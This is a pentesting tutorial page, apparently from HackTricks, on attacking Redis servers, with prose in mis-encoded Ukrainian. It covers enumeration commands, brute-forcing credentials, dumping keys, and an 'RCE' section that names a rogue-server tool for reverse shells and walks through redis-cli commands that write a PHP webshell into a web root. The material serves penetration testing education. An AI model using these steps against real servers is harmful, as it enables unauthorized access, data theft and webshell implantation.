# 6379 - Pentesting Redis
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## ΠΡΠ½ΠΎΠ²Π½Π° ΡΠ½ΡΠΎΡΠΌΠ°ΡΡΡ
Π [Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΡΡ](https://redis.io/topics/introduction): Redis - ΡΠ΅ Π²ΡΠ΄ΠΊΡΠΈΡΠΈΠΉ ΠΊΠΎΠ΄ (Π»ΡΡΠ΅Π½Π·ΡΡ BSD), ΡΡ
ΠΎΠ²ΠΈΡΠ΅ **ΡΡΡΡΠΊΡΡΡ Π΄Π°Π½ΠΈΡ
** Π² ΠΏΠ°ΠΌ'ΡΡΡ, ΡΠΊΠ΅ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΡΡΡ ΡΠΊ **Π±Π°Π·Π° Π΄Π°Π½ΠΈΡ
**, ΠΊΠ΅Ρ Ρ Π±ΡΠΎΠΊΠ΅Ρ ΠΏΠΎΠ²ΡΠ΄ΠΎΠΌΠ»Π΅Π½Ρ.
ΠΠ° Π·Π°ΠΌΠΎΠ²ΡΡΠ²Π°Π½Π½ΡΠΌ Redis Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡ ΠΏΡΠΎΡΠΎΠΊΠΎΠ» Π½Π° ΠΎΡΠ½ΠΎΠ²Ρ ΠΏΡΠΎΡΡΠΎΠ³ΠΎ ΡΠ΅ΠΊΡΡΡ, Π°Π»Π΅ Π²ΠΈ ΠΏΠΎΠ²ΠΈΠ½Π½Ρ ΠΏΠ°ΠΌ'ΡΡΠ°ΡΠΈ, ΡΠΎ Π²ΡΠ½ ΡΠ°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ΅ ΡΠ΅Π°Π»ΡΠ·ΡΠ²Π°ΡΠΈ **ssl/tls**. ΠΡΠ·Π½Π°ΠΉΡΠ΅ΡΡ, ΡΠΊ [Π·Π°ΠΏΡΡΡΠΈΡΠΈ Redis Π· ssl/tls ΡΡΡ](https://fossies.org/linux/redis/TLS.md).
**ΠΠΎΡΡ Π·Π° Π·Π°ΠΌΠΎΠ²ΡΡΠ²Π°Π½Π½ΡΠΌ:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## ΠΠ²ΡΠΎΠΌΠ°ΡΠΈΡΠ½Π΅ ΠΏΠ΅ΡΠ΅ΡΠ°Ρ
ΡΠ²Π°Π½Π½Ρ
ΠΠ΅ΡΠΊΡ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΎΠ²Π°Π½Ρ ΡΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΈ, ΡΠΊΡ ΠΌΠΎΠΆΡΡΡ Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΡΠΈ ΠΎΡΡΠΈΠΌΠ°ΡΠΈ ΡΠ½ΡΠΎΡΠΌΠ°ΡΡΡ Π· Π΅ΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΠ° redis:
```bash
nmap --script redis-info -sV -p 6379
msf> use auxiliary/scanner/redis/redis_server
```
## Manual Enumeration
### Banner
Redis Ρ **ΡΠ΅ΠΊΡΡΠΎΠ²ΠΈΠΌ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΎΠΌ**, Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΡΠΎΡΡΠΎ **Π½Π°Π΄ΡΡΠ»Π°ΡΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π² ΡΠΎΠΊΠ΅Ρ** Ρ ΠΏΠΎΠ²Π΅ΡΠ½ΡΡΡ Π·Π½Π°ΡΠ΅Π½Π½Ρ Π±ΡΠ΄ΡΡΡ ΡΠΈΡΠ°Π±Π΅Π»ΡΠ½ΠΈΠΌΠΈ. Π’Π°ΠΊΠΎΠΆ ΠΏΠ°ΠΌ'ΡΡΠ°ΠΉΡΠ΅, ΡΠΎ Redis ΠΌΠΎΠΆΠ΅ ΠΏΡΠ°ΡΡΠ²Π°ΡΠΈ Π· Π²ΠΈΠΊΠΎΡΠΈΡΡΠ°Π½Π½ΡΠΌ **ssl/tls** (Π°Π»Π΅ ΡΠ΅ Π΄ΡΠΆΠ΅ Π΄ΠΈΠ²Π½ΠΎ).
Π£ Π·Π²ΠΈΡΠ°ΠΉΠ½ΠΎΠΌΡ Π΅ΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΡ Redis Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΡΠΎΡΡΠΎ ΠΏΡΠ΄ΠΊΠ»ΡΡΠΈΡΠΈΡΡ Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ `nc` Π°Π±ΠΎ Π²ΠΈ ΡΠ°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΠ²Π°ΡΠΈ `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
ΠΠ΅ΡΡΠΎΡ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΡ, ΡΠΊΡ Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠΏΡΠΎΠ±ΡΠ²Π°ΡΠΈ, Ρ **`info`**. ΠΠΎΠ½Π° **ΠΌΠΎΠΆΠ΅ ΠΏΠΎΠ²Π΅ΡΠ½ΡΡΠΈ Π²ΠΈΡ
ΡΠ΄ Π· ΡΠ½ΡΠΎΡΠΌΠ°ΡΡΡΡ** ΠΏΡΠΎ Π΅ΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡ Redis **Π°Π±ΠΎ ΡΠΎΡΡ** ΠΏΠΎΠ΄ΡΠ±Π½Π΅ Π΄ΠΎ Π½Π°ΡΡΡΠΏΠ½ΠΎΠ³ΠΎ:
```
-NOAUTH Authentication required.
```
Π£ ΡΡΠΎΠΌΡ ΠΎΡΡΠ°Π½Π½ΡΠΎΠΌΡ Π²ΠΈΠΏΠ°Π΄ΠΊΡ ΡΠ΅ ΠΎΠ·Π½Π°ΡΠ°Ρ, ΡΠΎ **Π²Π°ΠΌ ΠΏΠΎΡΡΡΠ±Π½Ρ Π΄ΡΠΉΡΠ½Ρ ΠΎΠ±Π»ΡΠΊΠΎΠ²Ρ Π΄Π°Π½Ρ** Π΄Π»Ρ Π΄ΠΎΡΡΡΠΏΡ Π΄ΠΎ Π΅ΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΠ° Redis.
### ΠΡΡΠ΅Π½ΡΠΈΡΡΠΊΠ°ΡΡΡ Redis
**ΠΠ° Π·Π°ΠΌΠΎΠ²ΡΡΠ²Π°Π½Π½ΡΠΌ** Redis ΠΌΠΎΠΆΠ½Π° ΠΎΡΡΠΈΠΌΠ°ΡΠΈ Π΄ΠΎΡΡΡΠΏ **Π±Π΅Π· ΠΎΠ±Π»ΡΠΊΠΎΠ²ΠΈΡ
Π΄Π°Π½ΠΈΡ
**. ΠΠ΄Π½Π°ΠΊ ΠΉΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½Π° **Π½Π°Π»Π°ΡΡΡΠ²Π°ΡΠΈ** Π½Π° ΠΏΡΠ΄ΡΡΠΈΠΌΠΊΡ **ΡΡΠ»ΡΠΊΠΈ ΠΏΠ°ΡΠΎΠ»Ρ Π°Π±ΠΎ ΡΠΌΠ΅Π½Ρ ΠΊΠΎΡΠΈΡΡΡΠ²Π°ΡΠ° + ΠΏΠ°ΡΠΎΠ»Ρ**.\
ΠΠΎΠΆΠ½Π° **Π²ΡΡΠ°Π½ΠΎΠ²ΠΈΡΠΈ ΠΏΠ°ΡΠΎΠ»Ρ** Ρ ΡΠ°ΠΉΠ»Ρ _**redis.conf**_ Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ° `requirepass` **Π°Π±ΠΎ ΡΠΈΠΌΡΠ°ΡΠΎΠ²ΠΎ** Π΄ΠΎ ΠΏΠ΅ΡΠ΅Π·Π°ΠΏΡΡΠΊΡ ΡΠ»ΡΠΆΠ±ΠΈ, ΠΏΡΠ΄ΠΊΠ»ΡΡΠΈΠ²ΡΠΈΡΡ Π΄ΠΎ Π½Π΅Ρ ΡΠ° Π²ΠΈΠΊΠΎΠ½Π°Π²ΡΠΈ: `config set requirepass p@ss$12E45`.\
Π’Π°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ½Π° Π½Π°Π»Π°ΡΡΡΠ²Π°ΡΠΈ **ΡΠΌ'Ρ ΠΊΠΎΡΠΈΡΡΡΠ²Π°ΡΠ°** Π² ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ `masteruser` Π²ΡΠ΅ΡΠ΅Π΄ΠΈΠ½Ρ ΡΠ°ΠΉΠ»Ρ _**redis.conf**_.
{% hint style="info" %}
Π―ΠΊΡΠΎ Π½Π°Π»Π°ΡΡΠΎΠ²Π°Π½ΠΎ Π»ΠΈΡΠ΅ ΠΏΠ°ΡΠΎΠ»Ρ, ΡΠΎ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΡΡΡ ΡΠΌ'Ρ ΠΊΠΎΡΠΈΡΡΡΠ²Π°ΡΠ° "**default**".\
Π’Π°ΠΊΠΎΠΆ Π·Π²Π΅ΡΠ½ΡΡΡ ΡΠ²Π°Π³Ρ, ΡΠΎ **Π½Π΅ΠΌΠ°Ρ ΡΠΏΠΎΡΠΎΠ±Ρ Π΄ΡΠ·Π½Π°ΡΠΈΡΡ Π·ΠΎΠ²Π½Ρ**, ΡΠΈ Π±ΡΠ² Redis Π½Π°Π»Π°ΡΡΠΎΠ²Π°Π½ΠΈΠΉ Π»ΠΈΡΠ΅ Π· ΠΏΠ°ΡΠΎΠ»Π΅ΠΌ Π°Π±ΠΎ Π· ΡΠΌ'ΡΠΌ ΠΊΠΎΡΠΈΡΡΡΠ²Π°ΡΠ° + ΠΏΠ°ΡΠΎΠ»Π΅ΠΌ.
{% endhint %}
Π£ ΡΠ°ΠΊΠΈΡ
Π²ΠΈΠΏΠ°Π΄ΠΊΠ°Ρ
Π²Π°ΠΌ **ΠΏΠΎΡΡΡΠ±Π½ΠΎ Π·Π½Π°ΠΉΡΠΈ Π΄ΡΠΉΡΠ½Ρ ΠΎΠ±Π»ΡΠΊΠΎΠ²Ρ Π΄Π°Π½Ρ** Π΄Π»Ρ Π²Π·Π°ΡΠΌΠΎΠ΄ΡΡ Π· Redis, ΡΠΎΠΌΡ Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠΏΡΠΎΠ±ΡΠ²Π°ΡΠΈ [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis).\
**Π£ ΡΠ°Π·Ρ, ΡΠΊΡΠΎ Π²ΠΈ Π·Π½Π°ΠΉΡΠ»ΠΈ Π΄ΡΠΉΡΠ½Ρ ΠΎΠ±Π»ΡΠΊΠΎΠ²Ρ Π΄Π°Π½Ρ, Π²Π°ΠΌ ΠΏΠΎΡΡΡΠ±Π½ΠΎ Π°ΡΡΠ΅Π½ΡΠΈΡΡΠΊΡΠ²Π°ΡΠΈ ΡΠ΅ΡΡΡ** ΠΏΡΡΠ»Ρ Π²ΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½Π½Ρ Π·'ΡΠ΄Π½Π°Π½Π½Ρ Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ:
```bash
AUTH
```
**ΠΡΠΉΡΠ½Ρ ΠΎΠ±Π»ΡΠΊΠΎΠ²Ρ Π΄Π°Π½Ρ** Π±ΡΠ΄ΡΡΡ ΠΏΡΠ΄ΡΠ²Π΅ΡΠ΄ΠΆΠ΅Π½Ρ: `+OK`
### **ΠΡΡΠ΅Π½ΡΠΈΡΡΠΊΠΎΠ²Π°Π½Π° Π΅Π½ΡΠΌΠ΅ΡΠ°ΡΡΡ**
Π―ΠΊΡΠΎ ΡΠ΅ΡΠ²Π΅Ρ Redis Π΄ΠΎΠ·Π²ΠΎΠ»ΡΡ **Π°Π½ΠΎΠ½ΡΠΌΠ½Ρ Π·'ΡΠ΄Π½Π°Π½Π½Ρ** Π°Π±ΠΎ ΡΠΊΡΠΎ Π²ΠΈ ΠΎΡΡΠΈΠΌΠ°Π»ΠΈ Π΄ΡΠΉΡΠ½Ρ ΠΎΠ±Π»ΡΠΊΠΎΠ²Ρ Π΄Π°Π½Ρ, Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠΎΠ·ΠΏΠΎΡΠ°ΡΠΈ ΠΏΡΠΎΡΠ΅Ρ Π΅Π½ΡΠΌΠ΅ΡΠ°ΡΡΡ Π΄Π»Ρ ΡΠ»ΡΠΆΠ±ΠΈ, Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΠΈ Π½Π°ΡΡΡΠΏΠ½Ρ **ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ**:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**ΠΠ½ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Redis** [**ΠΌΠΎΠΆΠ½Π° Π·Π½Π°ΠΉΡΠΈ ΡΡΡ**](https://redis.io/topics/data-types-intro) **Ρ** [**ΡΡΡ**](https://lzone.de/cheat-sheet/Redis)**.**
ΠΠ²Π΅ΡΠ½ΡΡΡ ΡΠ²Π°Π³Ρ, ΡΠΎ **ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Redis Π΅ΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΠ° ΠΌΠΎΠΆΡΡΡ Π±ΡΡΠΈ ΠΏΠ΅ΡΠ΅ΠΉΠΌΠ΅Π½ΠΎΠ²Π°Π½Ρ** Π°Π±ΠΎ Π²ΠΈΠ΄Π°Π»Π΅Π½Ρ Ρ ΡΠ°ΠΉΠ»Ρ _redis.conf_. ΠΠ°ΠΏΡΠΈΠΊΠ»Π°Π΄, ΡΠ΅ΠΉ ΡΡΠ΄ΠΎΠΊ Π²ΠΈΠ΄Π°Π»ΠΈΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ FLUSHDB:
```
rename-command FLUSHDB ""
```
ΠΡΠ»ΡΡΠ΅ ΠΏΡΠΎ Π±Π΅Π·ΠΏΠ΅ΡΠ½Ρ ΠΊΠΎΠ½ΡΡΠ³ΡΡΠ°ΡΡΡ ΡΠ»ΡΠΆΠ±ΠΈ Redis ΡΡΡ: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
ΠΠΈ ΡΠ°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ΅ΡΠ΅ **ΠΌΠΎΠ½ΡΡΠΎΡΠΈΡΠΈ Π² ΡΠ΅Π°Π»ΡΠ½ΠΎΠΌΡ ΡΠ°ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Redis**, Π²ΠΈΠΊΠΎΠ½Π°Π½Ρ Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ **`monitor`**, Π°Π±ΠΎ ΠΎΡΡΠΈΠΌΠ°ΡΠΈ ΡΠΎΠΏ **25 Π½Π°ΠΉΠΏΠΎΠ²ΡΠ»ΡΠ½ΡΡΠΈΡ
Π·Π°ΠΏΠΈΡΡΠ²** Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ **`slowlog get 25`**
ΠΠ½Π°ΠΉΠ΄ΡΡΡ Π±ΡΠ»ΡΡΠ΅ ΡΡΠΊΠ°Π²ΠΎΡ ΡΠ½ΡΠΎΡΠΌΠ°ΡΡΡ ΠΏΡΠΎ ΡΠ½ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Redis ΡΡΡ: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **ΠΠΈΠ²Π°Π½ΡΠ°ΠΆΠ΅Π½Π½Ρ Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ
**
Π£ Redis **Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ
- ΡΠ΅ ΡΠΈΡΠ»Π°, ΡΠΎ ΠΏΠΎΡΠΈΠ½Π°ΡΡΡΡΡ Π· 0**. ΠΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄ΡΠ·Π½Π°ΡΠΈΡΡ, ΡΠΈ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΡΡΡ ΡΠΊΠ°ΡΡ Π· Π½ΠΈΡ
, Ρ Π²ΠΈΡ
ΠΎΠ΄Ρ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ `info` Ρ ΡΠ°ΡΡΠΈΠ½Ρ "Keyspace":
![](<../.gitbook/assets/image (766).png>)
ΠΠ±ΠΎ Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΡΠΎΡΡΠΎ ΠΎΡΡΠΈΠΌΠ°ΡΠΈ Π²ΡΡ **keyspaces** (Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ
) Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ:
```
INFO keyspace
```
Π£ ΡΡΠΎΠΌΡ ΠΏΡΠΈΠΊΠ»Π°Π΄Ρ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΡΡΡ **Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ
0 ΡΠ° 1**. **ΠΠ°Π·Π° Π΄Π°Π½ΠΈΡ
0 ΠΌΡΡΡΠΈΡΡ 4 ΠΊΠ»ΡΡΡ, Π° Π±Π°Π·Π° Π΄Π°Π½ΠΈΡ
1 ΠΌΡΡΡΠΈΡΡ 1**. ΠΠ° Π·Π°ΠΌΠΎΠ²ΡΡΠ²Π°Π½Π½ΡΠΌ Redis Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΠ²Π°ΡΠΈΠΌΠ΅ Π±Π°Π·Ρ Π΄Π°Π½ΠΈΡ
0. Π©ΠΎΠ±, Π½Π°ΠΏΡΠΈΠΊΠ»Π°Π΄, ΡΠΊΠΈΠ½ΡΡΠΈ Π±Π°Π·Ρ Π΄Π°Π½ΠΈΡ
1, Π²Π°ΠΌ ΠΏΠΎΡΡΡΠ±Π½ΠΎ Π·ΡΠΎΠ±ΠΈΡΠΈ:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET
[ ... Get Key ... ]
```
Π£ Π²ΠΈΠΏΠ°Π΄ΠΊΡ, ΡΠΊΡΠΎ Π²ΠΈ ΠΎΡΡΠΈΠΌΠ°ΡΡΠ΅ Π½Π°ΡΡΡΠΏΠ½Ρ ΠΏΠΎΠΌΠΈΠ»ΠΊΡ `-WRONGTYPE Operation against a key holding the wrong kind of value` ΠΏΡΠ΄ ΡΠ°Ρ Π²ΠΈΠΊΠΎΠ½Π°Π½Π½Ρ `GET `, ΡΠ΅ ΠΌΠΎΠΆΠ΅ Π±ΡΡΠΈ ΡΠ΅ΡΠ΅Π· ΡΠ΅, ΡΠΎ ΠΊΠ»ΡΡ ΠΌΠΎΠΆΠ΅ Π±ΡΡΠΈ ΡΠΈΠΌΠΎΡΡ ΡΠ½ΡΠΈΠΌ, Π½ΡΠΆ ΡΡΠ΄ΠΎΠΊ Π°Π±ΠΎ ΡΡΠ»Π΅ ΡΠΈΡΠ»ΠΎ, Ρ Π²ΠΈΠΌΠ°Π³Π°Ρ ΡΠΏΠ΅ΡΡΠ°Π»ΡΠ½ΠΎΠ³ΠΎ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠ° Π΄Π»Ρ ΠΉΠΎΠ³ΠΎ Π²ΡΠ΄ΠΎΠ±ΡΠ°ΠΆΠ΅Π½Π½Ρ.
Π©ΠΎΠ± Π΄ΡΠ·Π½Π°ΡΠΈΡΡ ΡΠΈΠΏ ΠΊΠ»ΡΡΠ°, Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΠΉΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ `TYPE`, ΠΏΡΠΈΠΊΠ»Π°Π΄ Π½ΠΈΠΆΡΠ΅ Π΄Π»Ρ ΡΠΏΠΈΡΠΊΠΎΠ²ΠΈΡ
ΡΠ° Ρ
Π΅Ρ-ΠΊΠ»ΡΡΡΠ².
```bash
TYPE
[ ... Type of the Key ... ]
LRANGE 0 -1
[ ... Get list items ... ]
HGET
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP
```
**ΠΠΈΠ²Π°Π½ΡΠ°ΠΆΡΠ΅ Π±Π°Π·Ρ Π΄Π°Π½ΠΈΡ
Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **Π°Π±ΠΎ python** [**redis-utils**](https://pypi.org/project/redis-utils/)
ΠΡΠΈΡΠ΄Π½ΡΠΉΡΠ΅ΡΡ Π΄ΠΎ [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ΡΠ΅ΡΠ²Π΅ΡΠ°, ΡΠΎΠ± ΡΠΏΡΠ»ΠΊΡΠ²Π°ΡΠΈΡΡ Π· Π΄ΠΎΡΠ²ΡΠ΄ΡΠ΅Π½ΠΈΠΌΠΈ Ρ
Π°ΠΊΠ΅ΡΠ°ΠΌΠΈ ΡΠ° ΡΡΠΊΠ°ΡΠ°ΠΌΠΈ Π²ΡΠ°Π·Π»ΠΈΠ²ΠΎΡΡΠ΅ΠΉ!
**ΠΠ½ΡΠ°ΠΉΡΠΈ Π· Ρ
Π°ΠΊΡΠ½Π³Ρ**\
ΠΠ°Π»ΡΡΠ°ΠΉΡΠ΅ΡΡ Π΄ΠΎ ΠΊΠΎΠ½ΡΠ΅Π½ΡΡ, ΡΠΊΠΈΠΉ Π·Π°Π½ΡΡΡΡΡΡΡΡ Ρ Π·Π°Ρ
ΠΎΠΏΠ»Π΅Π½Π½Ρ ΡΠ° Π²ΠΈΠΊΠ»ΠΈΠΊΠΈ Ρ
Π°ΠΊΡΠ½Π³Ρ
**ΠΠΎΠ²ΠΈΠ½ΠΈ ΠΏΡΠΎ Ρ
Π°ΠΊΡΠ½Π³ Ρ ΡΠ΅Π°Π»ΡΠ½ΠΎΠΌΡ ΡΠ°ΡΡ**\
Π‘Π»ΡΠ΄ΠΊΡΠΉΡΠ΅ Π·Π° ΡΠ²ΠΈΠ΄ΠΊΠΎΠΏΠ»ΠΈΠ½Π½ΠΈΠΌ ΡΠ²ΡΡΠΎΠΌ Ρ
Π°ΠΊΡΠ½Π³Ρ ΡΠ΅ΡΠ΅Π· Π½ΠΎΠ²ΠΈΠ½ΠΈ ΡΠ° ΡΠ½ΡΠ°ΠΉΡΠΈ Π² ΡΠ΅Π°Π»ΡΠ½ΠΎΠΌΡ ΡΠ°ΡΡ
**ΠΡΡΠ°Π½Π½Ρ ΠΎΠ³ΠΎΠ»ΠΎΡΠ΅Π½Π½Ρ**\
ΠΡΠ΄ΡΡΠ΅ Π² ΠΊΡΡΡΡ Π½ΠΎΠ²ΠΈΡ
ΠΏΡΠΎΠ³ΡΠ°ΠΌ Π²ΠΈΠ½Π°Π³ΠΎΡΠΎΠ΄ Π·Π° Π²ΡΠ°Π·Π»ΠΈΠ²ΠΎΡΡΡ ΡΠ° Π²Π°ΠΆΠ»ΠΈΠ²ΠΈΡ
ΠΎΠ½ΠΎΠ²Π»Π΅Π½Ρ ΠΏΠ»Π°ΡΡΠΎΡΠΌ
**ΠΡΠΈΡΠ΄Π½ΡΠΉΡΠ΅ΡΡ Π΄ΠΎ Π½Π°Ρ Π½Π°** [**Discord**](https://discord.com/invite/N3FrSbmwdy) Ρ ΠΏΠΎΡΠ½ΡΡΡ ΡΠΏΡΠ²ΠΏΡΠ°ΡΡΠ²Π°ΡΠΈ Π· ΠΏΡΠΎΠ²ΡΠ΄Π½ΠΈΠΌΠΈ Ρ
Π°ΠΊΠ΅ΡΠ°ΠΌΠΈ Π²ΠΆΠ΅ ΡΡΠΎΠ³ΠΎΠ΄Π½Ρ!
## Redis RCE
### ΠΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΠ²Π½Π° ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΠ°
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) ΠΌΠΎΠΆΠ΅ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ½ΠΎ ΠΎΡΡΠΈΠΌΠ°ΡΠΈ ΡΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΠ²Π½Ρ ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΡ Π°Π±ΠΎ Π·Π²ΠΎΡΠΎΡΠ½Ρ ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΡ Π² Redis(<=5.0.5).
```
./redis-rogue-server.py --rhost --lhost
```
### PHP Webshell
ΠΠ½ΡΠΎΡΠΌΠ°ΡΡΡ Π· [**ΡΡΡ**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). ΠΠΈ ΠΏΠΎΠ²ΠΈΠ½Π½Ρ Π·Π½Π°ΡΠΈ **ΡΠ»ΡΡ
** Π΄ΠΎ **ΠΏΠ°ΠΏΠΊΠΈ Π²Π΅Π±-ΡΠ°ΠΉΡΡ**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
```
βΠ―ΠΊΡΠΎ Π²ΠΈΠ½ΠΈΠΊΠ°Ρ Π²ΠΈΠ½ΡΡΠΎΠΊ Π΄ΠΎΡΡΡΠΏΡ Π΄ΠΎ Π²Π΅Π±-ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΠΈ, Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΎΡΠΈΡΡΠΈΡΠΈ Π±Π°Π·Ρ Π΄Π°Π½ΠΈΡ
ΠΏΡΡΠ»Ρ ΡΠ΅Π·Π΅ΡΠ²Π½ΠΎΠ³ΠΎ ΠΊΠΎΠΏΡΡΠ²Π°Π½Π½Ρ Ρ ΡΠΏΡΠΎΠ±ΡΠ²Π°ΡΠΈ Π·Π½ΠΎΠ²Ρ, Π½Π΅ Π·Π°Π±ΡΠ²Π°ΠΉΡΠ΅ Π²ΡΠ΄Π½ΠΎΠ²ΠΈΡΠΈ Π±Π°Π·Ρ Π΄Π°Π½ΠΈΡ
.
### Π¨Π°Π±Π»ΠΎΠ½ Π²Π΅Π±-ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΠΈ
Π―ΠΊ Ρ Π² ΠΏΠΎΠΏΠ΅ΡΠ΅Π΄Π½ΡΠΎΠΌΡ ΡΠΎΠ·Π΄ΡΠ»Ρ, Π²ΠΈ ΡΠ°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΠ΅ΡΠ΅Π·Π°ΠΏΠΈΡΠ°ΡΠΈ Π΄Π΅ΡΠΊΠΈΠΉ html ΡΠ°Π±Π»ΠΎΠ½Π½ΠΈΠΉ ΡΠ°ΠΉΠ», ΡΠΊΠΈΠΉ Π±ΡΠ΄Π΅ ΡΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠΎΠ²Π°Π½ΠΎ ΡΠ°Π±Π»ΠΎΠ½Π½ΠΈΠΌ Π΄Π²ΠΈΠ³ΡΠ½ΠΎΠΌ, Ρ ΠΎΡΡΠΈΠΌΠ°ΡΠΈ ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΡ.
